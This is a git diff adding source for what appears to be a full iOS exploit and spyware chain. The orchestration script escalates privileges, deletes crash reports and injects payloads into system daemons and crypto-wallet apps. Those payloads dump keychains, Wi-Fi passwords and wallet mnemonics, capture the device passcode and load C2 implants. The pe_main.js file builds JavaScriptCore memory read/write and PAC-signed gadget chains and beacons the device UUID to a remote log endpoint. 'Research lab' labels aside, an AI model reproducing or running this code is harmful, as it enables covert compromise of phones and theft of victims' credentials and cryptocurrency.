0x100)); + Native.callSymbol("pthread_mutex_init", mutexPtr, null); + migFilterBypass = new MigFilterBypass(mutexPtr); + } + let driver = new Driver(); + + Chain.init(driver, mutexPtr); + + let resultPE = Chain.runPE(); + if (!resultPE) + return; + + + TaskRop.init(); + if(migFilterBypass) + migFilterBypass.start(); + let launchdTask = new RemoteCall("launchd",migFilterBypass); + if (!launchdTask.success()) { + return false; + } + + Sandbox.initWithLaunchdTask(launchdTask); + Sandbox.deleteCrashReports(); + Sandbox.createTokens(); + + let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass); + let agentPid = 0; + + if (agentLoader.inject()) { + agentPid = agentLoader.task.pid(); + Sandbox.applyTokensForRemoteTask(agentLoader.task); + Sandbox.adjustMemoryPressure(targetProcess); + + agentLoader.destroy(); + } + + // Phase order: + // 0x45 keychain_copier → configd (must run BEFORE file_downloader) + // 0x46 keychain_dumper → securityd + // 0x47 passcode_capture → SpringBoard + // 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag) + // 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps + // 0x4B icloud_dumper → UserEventAgent + // 0x49 wifi_password_dump → wifid + // 0x4A wifi_password_securityd → securityd + + const keychainProcess = "configd"; + let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass); + if (keychainCopier.inject()) { + Sandbox.applyTokensForRemoteTask(keychainCopier.task); + keychainCopier.destroy(); + } + + const securitydProcess = "securityd"; + let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass); + if (keychainDumper.inject()) { + Sandbox.applyTokensForRemoteTask(keychainDumper.task); + keychainDumper.destroy(); + } + + try { + let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass); + if (passcodeCap.inject()) { + Sandbox.applyTokensForRemoteTask(passcodeCap.task); + passcodeCap.destroy(); + } + } catch (_) {} + + // Brief settle so configd/securityd can land files in /tmp before FD starts + try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {} + + try { + let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass); + if (fileDownloader.inject()) { + Sandbox.applyTokensForRemoteTask(fileDownloader.task); + fileDownloader.destroy(); + } + } catch (injectError) {} + + // 0x4D — wallet app processes (best-effort; skip if not running) + const walletProcesses = [ + "Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken", + "Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal", + "Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic", + ]; + const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode; + for (let wi = 0; wi < walletProcesses.length; wi++) { + try { + let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass); + if (wDump.inject()) { + Sandbox.applyTokensForRemoteTask(wDump.task); + wDump.destroy(); + } + } catch (_) {} + } + // Also run extractor in SpringBoard (pasteboard / residual ObjC) + try { + let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass); + if (sbExtract.inject()) { + Sandbox.applyTokensForRemoteTask(sbExtract.task); + sbExtract.destroy(); + } + } catch (_) {} + + const userEventAgentProcess = "UserEventAgent"; + let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass); + if (iCloudDumper.inject()) { + Sandbox.applyTokensForRemoteTask(iCloudDumper.task); + iCloudDumper.destroy(); + } + + const wifidProcess = "wifid"; + let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass); + if (wifiDump.inject()) { + Sandbox.applyTokensForRemoteTask(wifiDump.task); + wifiDump.destroy(); + } + + let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass); + if (wifiDumpSecurityd.inject()) { + Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task); + wifiDumpSecurityd.destroy(); + } + + const p0Signals = [ + "/tmp/keychain-2.db", + "/tmp/keychain_full_dump.txt", + "/tmp/wallet_mnemonic_scan.txt", + "/tmp/wifi_passwords.txt", + "/private/var/tmp/wifi_passwords.txt", + ]; + for (let round = 0; round < 24; round++) { + let ready = 0; + for (let i = 0; i < p0Signals.length; i++) { + const probe = p0Signals[i]; + const fd = Native.callSymbol("open", probe, 0); + if (Number(fd) >= 0) { + Native.callSymbol("close", fd); + ready++; + } + } + if (ready >= 2) break; + if (ready >= 1 && round >= 12) break; + Native.callSymbol("sleep", 1); + } + + // (file_downloader already injected after keychain stages — no second pass) + + // GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab) + try { + let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass); + if (ghostSaber.inject()) { + Sandbox.applyTokensForRemoteTask(ghostSaber.task); + ghostSaber.destroy(); + } + } catch (e) { + // optional post-exploit module + } + + // GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab) + try { + let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass); + if (ghostKnife.inject()) { + Sandbox.applyTokensForRemoteTask(ghostKnife.task); + ghostKnife.destroy(); + } + } catch (e) { + // optional post-exploit module + } + + launchdTask.destroy(); + + return true; +} + +try { + start(); +} +catch (error) { + // Error handling without logging +} +finally { + Native.callSymbol("exit", 0n); +} diff --git a/channel-builder-ds/source/pe_main.js b/channel-builder-ds/source/pe_main.js new file mode 100644 index 0000000..85602b4 --- /dev/null +++ b/channel-builder-ds/source/pe_main.js @@ -0,0 +1,10817 @@ +try{var __g=typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this);if(__g&&String(__g.__LAB_DEVICE_UUID__||"")==="69DD25B2CA8B5682BA2470D77124E2FC")__g.__LAB_DEVICE_UUID__="";}catch(_u0){} +(() => { + try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {} + try { fcall_init(); func_offsets_array[0x2100] = 0x51; } + catch (_m1) { + try { func_offsets_array[0x2100] = 0x45; var _es1 = (_m1 && _m1.message) ? String(_m1.message) : String(_m1); for (var _ei1 = 0; _ei1 < 24 && _ei1 < _es1.length; _ei1++) func_offsets_array[0x2108 + _ei1] = _es1.charCodeAt(_ei1) & 0xff; } catch (_m2) {} + throw _m1; + } + // === BEGIN LAB_PE_ALIVE === + try { + var __peAliveOnce = false; + // No BSD socket probes. Later (after Native) pe_alive_ping uses CFNetwork GET /api/ds/log. + var pe_alive_ping = function (tag) { + try { + if (__peAliveOnce && tag === "pe_fcall_ok") return; + if (tag === "pe_fcall_ok") __peAliveOnce = true; + if (typeof __labCfHttp === "function") { + var uuid = ""; + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__); + } catch (_u) {} + var text = "[pe] " + String(tag).substring(0, 80); + var enc = ""; + for (var ci = 0; ci < text.length; ci++) { + var c = text.charCodeAt(ci); + if ((c >= 0x30 && c <= 0x39) || (c >= 0x41 && c <= 0x5a) || (c >= 0x61 && c <= 0x7a) || c === 0x2d || c === 0x2e || c === 0x5f || c === 0x7e) + enc += text.charAt(ci); + else if (c === 0x20) enc += "+"; + else { + var hx = c.toString(16).toUpperCase(); + if (hx.length < 2) hx = "0" + hx; + enc += "%" + hx; + } + } + var q = "text=" + enc; + if (uuid) q += "&deviceUUID=" + uuid; + __labCfHttp("GET", "/api/ds/log?" + q, null, false); + } + } catch (_e) {} + }; + pe_alive_ping("pe_fcall_ok"); + } catch (_peAlive) {} + // === END LAB_PE_ALIVE === + try { func_offsets_array[0x2100] = 0x52; } catch (_m3) {} + let PAGE_SIZE = 0x4000n; + let KERN_SUCCESS = 0n; + let CALLOC = func_resolve("calloc"); + let MALLOC = func_resolve("malloc"); + let FREE = func_resolve("free"); + let MEMCPY = func_resolve("memcpy"); + let MEMSET = func_resolve("memset"); + let SLEEP = func_resolve("sleep"); + let USLEEP = func_resolve("usleep"); + let STRCMP = func_resolve("strcmp"); + let STRCPY = func_resolve("strcpy"); + let STRNCPY = func_resolve("strncpy"); + let SNPRINTF = func_resolve("snprintf"); + let PRINTF = func_resolve("printf"); + let ERRNO = func_resolve("errno"); + let CLOSE = func_resolve("close"); + let EXIT = func_resolve("exit"); + let GETCHAR = func_resolve("getchar"); + let GETPID = func_resolve("getpid"); + let SYSCALL = func_resolve("syscall"); + let MACH_VM_ALLOCATE = func_resolve("mach_vm_allocate"); + let MACH_VM_DEALLOCATE = func_resolve("mach_vm_deallocate"); + let MACH_ERROR_STRING = func_resolve("mach_error_string"); + let MACH_PORT_ALLOCATE = func_resolve("mach_port_allocate"); + let kIOMasterPortDefault = func_resolve("kIOMasterPortDefault"); + function assert(a, b = "N/A") { + if (!a) { + throw new Error(`assert failed: ${b}`); + } + } + function ERROR(a) { + throw new Error(a); + } + function new_uint64_t(val = 0n) { + let buf = calloc(1n, 8n); + uwrite64(buf, val); + return buf; + } + function mach_task_self() { + return 0x203n; + } + function calloc(...args) { + return fcall(CALLOC, ...args); + } + function malloc(...args) { + return fcall(MALLOC, ...args); + } + function free(...args) { + return fcall(FREE, ...args); + } + function memcpy(...args) { + return fcall(MEMCPY, ...args); + } + function memset(...args) { + return fcall(MEMSET, ...args); + } + function sleep(...args) { + return fcall(SLEEP, ...args); + } + function usleep(...args) { + return fcall(USLEEP, ...args); + } + function strcmp(...args) { + return fcall(STRCMP, ...args); + } + function strcpy(...args) { + return fcall(STRCPY, ...args); + } + function strncpy(...args) { + return fcall(STRNCPY, ...args); + } + function snprintf(...args) { + return fcall(SNPRINTF, buf, size, fmt, 0n, 0n, 0n, 0n, 0n, ...args); + } + function printf(...args) { + return fcall(PRINTF, get_cstring(fmt), 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args); + } + function close(...args) { + return fcall(CLOSE, ...args); + } + function exit(...args) { + return fcall(EXIT, ...args); + } + function getchar(...args) { + return fcall(GETCHAR, ...args); + } + function getpid(...args) { + return fcall(GETPID, ...args); + } + function syscall(num, ...args) { + return fcall(SYSCALL, num, 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args); + } + function mach_vm_allocate(...args) { + return fcall(MACH_VM_ALLOCATE, ...args); + } + function mach_vm_deallocate(...args) { + return fcall(MACH_VM_DEALLOCATE, ...args); + } + function mach_error_string(...args) { + return fcall(MACH_ERROR_STRING, ...args); + } + function mach_port_allocate(...args) { + return fcall(MACH_PORT_ALLOCATE, ...args); + } + let g_device_machine = 0n; + function get_device_machine() { + if (g_device_machine == 0n) { + let utsname = calloc(256n, 5n); + fcall(UNAME, utsname); + g_device_machine = utsname + 256n * 4n; + } + return g_device_machine; + } + let OBJC_ALLOC = func_resolve("objc_alloc"); + let OBJC_ALLOC_INIT = func_resolve("objc_alloc_init"); + let OBJC_GETCLASS = func_resolve("objc_getClass"); + let OBJC_MSGSEND = func_resolve("objc_msgSend"); + let SEL_REGISTERNAME = func_resolve("sel_registerName"); + let CFDICTIONARYCREATEMUTABLE = func_resolve("CFDictionaryCreateMutable"); + let CFDICTIONARYSETVALUE = func_resolve("CFDictionarySetValue"); + let CFNUMBERCREATE = func_resolve("CFNumberCreate"); + let CFRELEASE = func_resolve("CFRelease"); + let CFSHOW = func_resolve("CFShow"); + let CFSTRINGCREATECOPY = func_resolve("CFStringCreateCopy"); + let CFSTRINGCREATEWITHCSTRING = func_resolve("CFStringCreateWithCString"); + let kCFAllocatorDefault = uread64(func_resolve("kCFAllocatorDefault").noPAC()); + let kCFStringEncodingUTF8 = 0x08000100n; + let kCFTypeDictionaryKeyCallBacks = func_resolve("kCFTypeDictionaryKeyCallBacks").noPAC(); + let kCFTypeDictionaryValueCallBacks = func_resolve("kCFTypeDictionaryValueCallBacks").noPAC(); + function CFDictionaryCreateMutable(...args) { + return fcall(CFDICTIONARYCREATEMUTABLE, ...args); + } + function CFDictionarySetValue(...args) { + return fcall(CFDICTIONARYSETVALUE, ...args); + } + function CFNumberCreate(...args) { + return fcall(CFNUMBERCREATE, ...args); + } + function CFRelease(...args) { + return fcall(CFRELEASE, ...args); + } + function CFShow(...args) { + return fcall(CFSHOW, ...args); + } + function CFStringCreateCopy(...args) { + return fcall(CFSTRINGCREATECOPY, ...args); + } + function CFStringCreateWithCString(...args) { + return fcall(CFSTRINGCREATEWITHCSTRING, ...args); + } + function objc_alloc(class_obj) { + return fcall(OBJC_ALLOC, class_obj); + } + function objc_alloc_init(class_obj) { + return fcall(OBJC_ALLOC_INIT, class_obj); + } + function objc_getClass(class_name) { + return fcall(OBJC_GETCLASS, get_cstring(class_name)); + } + function objc_msgSend(...args) { + return fcall(OBJC_MSGSEND, ...args); + } + function sel_registerName(cstr) { + return fcall(SEL_REGISTERNAME, cstr); + } + let selector_evaluateScript = sel_registerName(get_cstring("evaluateScript:")); + let selector_initWithTarget_selector_object = sel_registerName(get_cstring("initWithTarget:selector:object:")); + let selector_invocationWithMethodSignature = sel_registerName(get_cstring("invocationWithMethodSignature:")); + let selector_invoke = sel_registerName(get_cstring("invoke")); + let selector_isFinished = sel_registerName(get_cstring("isFinished")); + let selector_methodSignatureForSelector = sel_registerName(get_cstring("methodSignatureForSelector:")); + let selector_objectForKeyedSubscript = sel_registerName(get_cstring("objectForKeyedSubscript:")); + let selector_release = sel_registerName(get_cstring("release")); + let selector_retainCount = sel_registerName(get_cstring("retainCount")); + let selector_setArgument_atIndex = sel_registerName(get_cstring("setArgument:atIndex:")); + let selector_start = sel_registerName(get_cstring("start")); + let invoke_class = objc_getClass("NSInvocation"); + let jsc_class = objc_getClass("JSContext"); + let nsthread_class = objc_getClass("NSThread"); + function create_cfstring(cstring) { + return CFStringCreateWithCString(kCFAllocatorDefault, cstring, kCFStringEncodingUTF8); + } + let cfstr_boxed_arr = create_cfstring(get_cstring("boxed_arr")); + let cfstr_control_array = create_cfstring(get_cstring("control_array")); + let cfstr_control_array_8 = create_cfstring(get_cstring("control_array_8")); + let cfstr_func_offsets_array = create_cfstring(get_cstring("func_offsets_array")); + let cfstr_isNaN = create_cfstring(get_cstring("isNaN")); + let cfstr_rw_array = create_cfstring(get_cstring("rw_array")); + let cfstr_rw_array_8 = create_cfstring(get_cstring("rw_array_8")); + let cfstr_unboxed_arr = create_cfstring(get_cstring("unboxed_arr")); + function create_cfstring_copy(cfstring) { + return CFStringCreateCopy(kCFAllocatorDefault, cfstring); + } + function object_retainCount(obj) { + return objc_msgSend(obj, selector_retainCount); + } + function object_release(obj) { + return objc_msgSend(obj, selector_release); + } + function objectForKeyedSubscript(obj, cfstr_key) { + return objc_msgSend(obj, selector_objectForKeyedSubscript, cfstr_key); + } + function evaluateScript(obj, jscript) { + return objc_msgSend(obj, selector_evaluateScript, jscript); + } + function methodSignatureForSelector(obj, sel) { + return objc_msgSend(obj, selector_methodSignatureForSelector, sel); + } + function invocationWithMethodSignature(obj, sig) { + return objc_msgSend(obj, selector_invocationWithMethodSignature, sig); + } + function setArgument_atIndex(obj, arg, idx) { + return objc_msgSend(obj, selector_setArgument_atIndex, arg, idx); + } + function initWithTarget_selector_object(obj, target, sel, object) { + return objc_msgSend(obj, selector_initWithTarget_selector_object, target, sel, object); + } + function nsthread_start(obj) { + return objc_msgSend(obj, selector_start); + } + function setup_fcall_jopchain() { + let jsvm_fcall_buff = malloc(PAGE_SIZE); + let load_x1x3x8_args = jsvm_fcall_buff + 0x100n; + let jsvm_fcall_args = jsvm_fcall_buff + 0x200n; + uwrite64(jsvm_fcall_buff + 0x0n, load_x1x3x8_args); + uwrite64(jsvm_fcall_buff + 0x8n, pacia(load_x1x3x8, 0n)); + uwrite64(jsvm_fcall_buff + 0x10n, pacia(_CFObjectCopyProperty, 0n)); + uwrite64(jsvm_fcall_buff + 0x40n, pacia(jsvm_isNAN_fcall_gadget2, 0n)); + uwrite64(load_x1x3x8_args + 0x20n, load_x1x3x8_args + 0x40n); + uwrite64(load_x1x3x8_args + 0x28n, jsvm_fcall_args - 0x10n); + uwrite64(load_x1x3x8_args + 0x30n, pacia(0x41414141n, 0xC2D0n)); + uwrite64(load_x1x3x8_args + 0x50n, pacia(fcall_14_args_write_x8, load_x1x3x8_args + 0x50n)); + return { + "jsvm_fcall_buff": jsvm_fcall_buff, + "jsvm_fcall_pc": load_x1x3x8_args + 0x30n, + "jsvm_fcall_args": jsvm_fcall_args + }; + } + let evaluateScript_invocation = 0n; + function js_thread_spawn(js_script_nsstring, target_thread_arg = 0x0n) { + if (typeof js_script_nsstring === "string") { + js_script_nsstring = create_cfstring(get_cstring(js_script_nsstring)); + } else if (typeof js_script_nsstring === "object") { + js_script_nsstring = create_cfstring(uread64(addrof(js_script_nsstring) + 0x10n)); + } else { + js_script_nsstring = create_cfstring_copy(js_script_nsstring); + } + let jop_chain_info = setup_fcall_jopchain(); + let jsvm_fcall_buff = jop_chain_info["jsvm_fcall_buff"]; + let jsvm_fcall_pc = jop_chain_info["jsvm_fcall_pc"]; + let jsvm_fcall_args = jop_chain_info["jsvm_fcall_args"]; + let ctx = objc_alloc_init(jsc_class); + let isnan_value = objectForKeyedSubscript(ctx, cfstr_isNaN); + let isnan_func_addr = uread64(isnan_value + 0x8n); + let isnan_executable_addr = uread64(isnan_func_addr + 0x18n); + let isnan_code_ptr = isnan_executable_addr + 0x28n; + evaluateScript(ctx, stage1_js); + let unboxed_arr_value = objectForKeyedSubscript(ctx, cfstr_unboxed_arr); + let unboxed_arr_addr = uread64(unboxed_arr_value + 0x8n); + let boxed_arr_value = objectForKeyedSubscript(ctx, cfstr_boxed_arr); + let boxed_arr_addr = uread64(boxed_arr_value + 0x8n); + let boxed_arr_butter = uread64(boxed_arr_addr + 0x8n); + uwrite64(unboxed_arr_addr + 0x8n, boxed_arr_butter); + let rw_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array) + 0x8n); + let control_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array) + 0x8n); + let rw_array_buffer_bk = uread64(rw_array_addr + 0x10n); + let control_array_buffer_bk = uread64(control_array_addr + 0x10n); + uwrite64(control_array_addr + 0x10n, rw_array_addr + 0x10n); + let rw_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array_8) + 0x8n); + let control_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array_8) + 0x8n); + let rw_array_8_buffer_bk = uread64(rw_array_8_addr + 0x10n); + let control_array_8_buffer_bk = uread64(control_array_8_addr + 0x10n); + uwrite64(control_array_8_addr + 0x10n, rw_array_8_addr + 0x10n); + let signing_ctx = 0x4911n; + let signed_fcall_addr = pacib(jsvm_isNAN_fcall_gadget, signing_ctx); + uwrite64(isnan_code_ptr, signed_fcall_addr); + let new_func_offsets = objectForKeyedSubscript(ctx, cfstr_func_offsets_array); + let new_func_offsets_addr = uread64(new_func_offsets + 0x8n); + let new_func_offsets_buffer = uread64(new_func_offsets_addr + 0x10n); + memcpy(new_func_offsets_buffer, func_offsets_buffer, PAGE_SIZE); + uwrite64(new_func_offsets_buffer + 3n * 0x8n, target_thread_arg); + uwrite64(new_func_offsets_buffer + 5n * 0x8n, jsvm_fcall_buff); + uwrite64(new_func_offsets_buffer + 6n * 0x8n, jsvm_fcall_pc); + uwrite64(new_func_offsets_buffer + 7n * 0x8n, jsvm_fcall_args); + if (evaluateScript_invocation == 0n) { + let evaluateScript_signature = methodSignatureForSelector(ctx, selector_evaluateScript); + evaluateScript_invocation = invocationWithMethodSignature(invoke_class, evaluateScript_signature); + setArgument_atIndex(evaluateScript_invocation, new_uint64_t(selector_evaluateScript), 1n); + } + setArgument_atIndex(evaluateScript_invocation, new_uint64_t(ctx), 0n); + setArgument_atIndex(evaluateScript_invocation, new_uint64_t(js_script_nsstring), 2n); + let nsthread = objc_alloc(nsthread_class); + initWithTarget_selector_object(nsthread, evaluateScript_invocation, selector_invoke, 0n); + nsthread_start(nsthread); + return { + "thread_handle": nsthread, + "js_ctx": ctx, + "jop_chain_info": jop_chain_info, + "js_script_nsstring": js_script_nsstring, + "rw_array_buffer_bk": rw_array_buffer_bk, + "control_array_buffer_bk": control_array_buffer_bk, + "rw_array_8_buffer_bk": rw_array_8_buffer_bk, + "control_array_8_buffer_bk": control_array_8_buffer_bk + }; + } + function js_thread_join(js_thread) { + let jop_chain_info = js_thread["jop_chain_info"]; + let js_ctx = js_thread["js_ctx"]; + let js_script_nsstring = js_thread["js_script_nsstring"]; + let nsthread = js_thread["thread_handle"]; + while (true) { + let isFinished = objc_msgSend(nsthread, selector_isFinished); + if (isFinished == 1n) { + break; + } + } + object_release(nsthread); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array) + 0x8n) + 0x10n, js_thread["rw_array_buffer_bk"]); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array) + 0x8n) + 0x10n, js_thread["control_array_buffer_bk"]); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array_8) + 0x8n) + 0x10n, js_thread["rw_array_8_buffer_bk"]); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array_8) + 0x8n) + 0x10n, js_thread["control_array_8_buffer_bk"]); + let jsc_ref_count = object_retainCount(js_ctx); + for (let i = 0n; i < jsc_ref_count; i++) { + object_release(js_ctx); + } + CFRelease(js_script_nsstring); + free(jop_chain_info["jsvm_fcall_buff"]); + } + let RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn; + let VM_FLAGS_ANYWHERE = 1n; + let VM_FLAGS_FIXED = 0n; + let VM_FLAGS_OVERWRITE = 0x4000n; + let VM_FLAGS_RANDOM_ADDR = 8n; + let VM_INHERIT_NONE = 2n; + let VM_PROT_DEFAULT = 3n; + let PROT_READ = 0x1n; + let PROT_WRITE = 0x2n; + let MAP_SHARED = 0x1n; + let AF_INET6 = 30n; + let SOCK_DGRAM = 2n; + let IPPROTO_ICMPV6 = 58n; + let ICMP6_FILTER = 18n; + let SEEK_SET = 0n; + let _NSGETEXECUTABLEPATH = func_resolve("_NSGetExecutablePath"); + let ACCESS = func_resolve("access"); + let CONFSTR = func_resolve("confstr"); + let FCNTL = func_resolve("fcntl"); + let FSYNC = func_resolve("fsync"); + let FILEPORT_MAKEFD = func_resolve("fileport_makefd"); + let FILEPORT_MAKEPORT = func_resolve("fileport_makeport"); + let FOPEN = func_resolve("fopen"); + let FCLOSE = func_resolve("fclose"); + let FWRITE = func_resolve("fwrite"); + let GETSOCKOPT = func_resolve("getsockopt"); + let LSEEK = func_resolve("lseek"); + let MACH_THREAD_SELF = func_resolve("mach_thread_self"); + let MEMMEM = func_resolve("memmem"); + let MEMSET_PATTERN8 = func_resolve("memset_pattern8"); + let OPEN = func_resolve("open"); + let PREADV = func_resolve("preadv"); + let PWRITEV = func_resolve("pwritev"); + let PWRITE = func_resolve("pwrite"); + let PREAD = func_resolve("pread"); + let READ = func_resolve("read"); + let SETSOCKOPT = func_resolve("setsockopt"); + let SOCKET = func_resolve("socket"); + let STRCAT = func_resolve("strcat"); + let STRSTR = func_resolve("strstr"); + let STRLEN = func_resolve("strlen"); + let STRNCMP = func_resolve("strncmp"); + let STRRCHR = func_resolve("strrchr"); + let PTHREAD_SELF = func_resolve("pthread_self"); + let PTHREAD_JOIN = func_resolve("pthread_join"); + let WRITE = func_resolve("write"); + let REMOVE = func_resolve("remove"); + let ARC4RANDOM = func_resolve("arc4random"); + let TASK_THREADS = func_resolve("task_threads"); + let THREAD_SUSPEND = func_resolve("thread_suspend"); + let MACH_MAKE_MEMORY_ENTRY_64 = func_resolve("mach_make_memory_entry_64"); + let MACH_PORT_DEALLOCATE = func_resolve("mach_port_deallocate"); + let MACH_VM_MAP = func_resolve("mach_vm_map"); + let MMAP = func_resolve("mmap"); + let MLOCK = func_resolve("mlock"); + let MUNLOCK = func_resolve("munlock"); + let UNAME = func_resolve("uname"); + let IOSURFACECREATE = func_resolve("IOSurfaceCreate"); + let IOSURFACEPREFETCHPAGES = func_resolve("IOSurfacePrefetchPages"); + let IOSURFACEGETBASEADDRESS = func_resolve("IOSurfaceGetBaseAddress"); + let kIOSurfaceAllocSize = uread64(func_resolve("kIOSurfaceAllocSize").noPAC()); + function DUMP(addr, sz) {} + function js_malloc(sz) { + buff = new Uint8Array(BigInt(sz).asInt32s).fill(0x00); + return uread64(mem.addrof(buff) + 0x10n); + } + function mach_thread_self() { + return fcall(MACH_THREAD_SELF); + } + function pthread_getspecific(key) { + return fcall(PTHREAD_GETSPECIFIC, key); + } + function pthread_self() { + return fcall(PTHREAD_SELF); + } + function pthread_join(thr, val) { + return fcall(PTHREAD_JOIN, thr, val); + } + function _NSGetExecutablePath(executable_path, length_ptr) { + return fcall(_NSGETEXECUTABLEPATH, executable_path, length_ptr); + } + function confstr(name, buf, len) { + return fcall(CONFSTR, name, buf, len); + } + function strrchr(s, c) { + return fcall(STRRCHR, s, c); + } + function strcat(s1, s2) { + return fcall(STRCAT, s1, s2); + } + function strlen(s) { + return fcall(STRLEN, s); + } + function strstr(s1, s2) { + return fcall(STRSTR, s1, s2); + } + function strncmp(s1, s2, n) { + return fcall(STRNCMP, s1, s2, n); + } + function socket(domain, type, protocol) { + return fcall(SOCKET, domain, type, protocol); + } + function getsockopt(socket, level, option_name, option_value, option_len) { + return fcall(GETSOCKOPT, socket, level, option_name, option_value, option_len); + } + function setsockopt(socket, level, option_name, option_value, option_len) { + return fcall(SETSOCKOPT, socket, level, option_name, option_value, option_len); + } + function fileport_makeport(fd, port) { + return fcall(FILEPORT_MAKEPORT, fd, port); + } + function fileport_makefd(port) { + return fcall(FILEPORT_MAKEFD, port); + } + function memset_pattern8(buf, val, sz) { + return fcall(MEMSET_PATTERN8, buf, val, sz); + } + function memmem(big, big_len, little, little_len) { + return fcall(MEMMEM, big, big_len, little, little_len); + } + function access(path, mode) { + return fcall(ACCESS, path, mode); + } + function open(path, mode) { + return fcall(OPEN, path, mode); + } + function fopen(path, mode) { + return fcall(FOPEN, path, mode); + } + function fclose(fd) { + return fcall(FCLOSE, fd); + } + function fwrite(buf, sz, nitem, fd) { + return fcall(FWRITE, buf, sz, nitem, fd); + } + function preadv(fildes, iov, iovcnt, offset) { + return fcall(PREADV, fildes, iov, iovcnt, offset); + } + function pwritev(fildes, iov, iovcnt, offset) { + return fcall(PWRITEV, fildes, iov, iovcnt, offset); + } + function pwrite(fildes, buff, size, offset) { + return fcall(PWRITE, fildes, buff, size, offset); + } + function pread(fildes, buff, size, offset) { + return fcall(PREAD, fildes, buff, size, offset); + } + function read(fd, buf, sz) { + return fcall(READ, fd, buf, sz); + } + function write(fd, buf, sz) { + return fcall(WRITE, fd, buf, sz); + } + function remove(path) { + return fcall(REMOVE, path); + } + function arc4random() { + return fcall(ARC4RANDOM); + } + function task_threads(task, thread_list_addr, thread_count_addr) { + return fcall(TASK_THREADS, task, thread_list_addr, thread_count_addr); + } + function fcntl(fd, flag, value) { + return fcall(FCNTL, fd, flag, 0n, 0n, 0n, 0n, 0n, 0n, value); + } + function lseek(fildes, offset, whence) { + return fcall(LSEEK, fildes, offset, whence); + } + function fsync(fd) { + return fcall(FSYNC, fd); + } + function CFStringCreateWithCString(allocator, cstring, encoding) { + return fcall(CFSTRINGCREATEWITHCSTRING, allocator, cstring, encoding); + } + function CFStringCreateCopy(allocator, cfstring) { + return fcall(CFSTRINGCREATECOPY, allocator, cfstring); + } + function CFDictionarySetValue(dict, key, value) { + return fcall(CFDICTIONARYSETVALUE, dict, key, value); + } + function CFNumberCreate(allocator, theType, valuePtr) { + return fcall(CFNUMBERCREATE, allocator, theType, valuePtr); + } + function IOSurfaceCreate(dict) { + return fcall(IOSURFACECREATE, dict); + } + function IOSurfaceGetBaseAddress(surface) { + return fcall(IOSURFACEGETBASEADDRESS, surface); + } + function IOSurfacePrefetchPages(surface) { + return fcall(IOSURFACEPREFETCHPAGES, surface); + } + function CFRelease(obj) { + return fcall(CFRELEASE, obj); + } + function CFShow(obj) { + return fcall(CFSHOW, obj); + } + function mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry) { + return fcall(MACH_MAKE_MEMORY_ENTRY_64, target_task, size, offset, permission, object_handle, parent_entry); + } + function mach_vm_map(target_task, address, size, mask, flags, object, offset, copy, cur_protection, max_protection, inheritance) { + return fcall(MACH_VM_MAP, target_task, address, size, mask, flags, object, offset, copy, cur_protection | max_protection << 32n, inheritance); + } + function mmap(addr, len, prot, flags, fd, offset) { + return fcall(MMAP, addr, len, prot, flags, fd, offset); + } + function mlock(address, size) { + return fcall(MLOCK, address, size); + } + function munlock(address, size) { + return fcall(MUNLOCK, address, size); + } + function mach_port_deallocate(task, name) { + return fcall(MACH_PORT_DEALLOCATE, task, name); + } + function mach_task_self() { + return 0x203n; + } + function new_uint64_t(val = 0n) { + let buf = calloc(1n, 8n); + uwrite64(buf, val); + return buf; + } + function disable_gc() { + let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); + let heap = vm + 0xc0n; + let isSafeToCollect = heap + 0x241n; + uwrite64(isSafeToCollect, 0n); + } + function enable_gc() { + let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); + let heap = vm + 0xc0n; + let isSafeToCollect = heap + 0x241n; + uwrite64(isSafeToCollect, 1n); + } + function disarm_gc() { + let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); + let heap = vm + 0xc0n; + let m_threadGroup = uread64(heap + 0x198n); + let threads = uread64(m_threadGroup); + uwrite64(threads + 0x20n, 0x0n); + } + disable_gc(); + disarm_gc(); + enable_gc(); + let executable_name = 0n; + let read_file_path = 0n; + let write_file_path = 0n; + let target_file_size = PAGE_SIZE * 0x2n; + let oob_offset = 0x100n; + let oob_size = 0xf00n; + let n_of_oob_pages = 2n; + let pc_address = new_bigint(); + let pc_size = 0n; + let pc_object = new_bigint(); + let free_target = 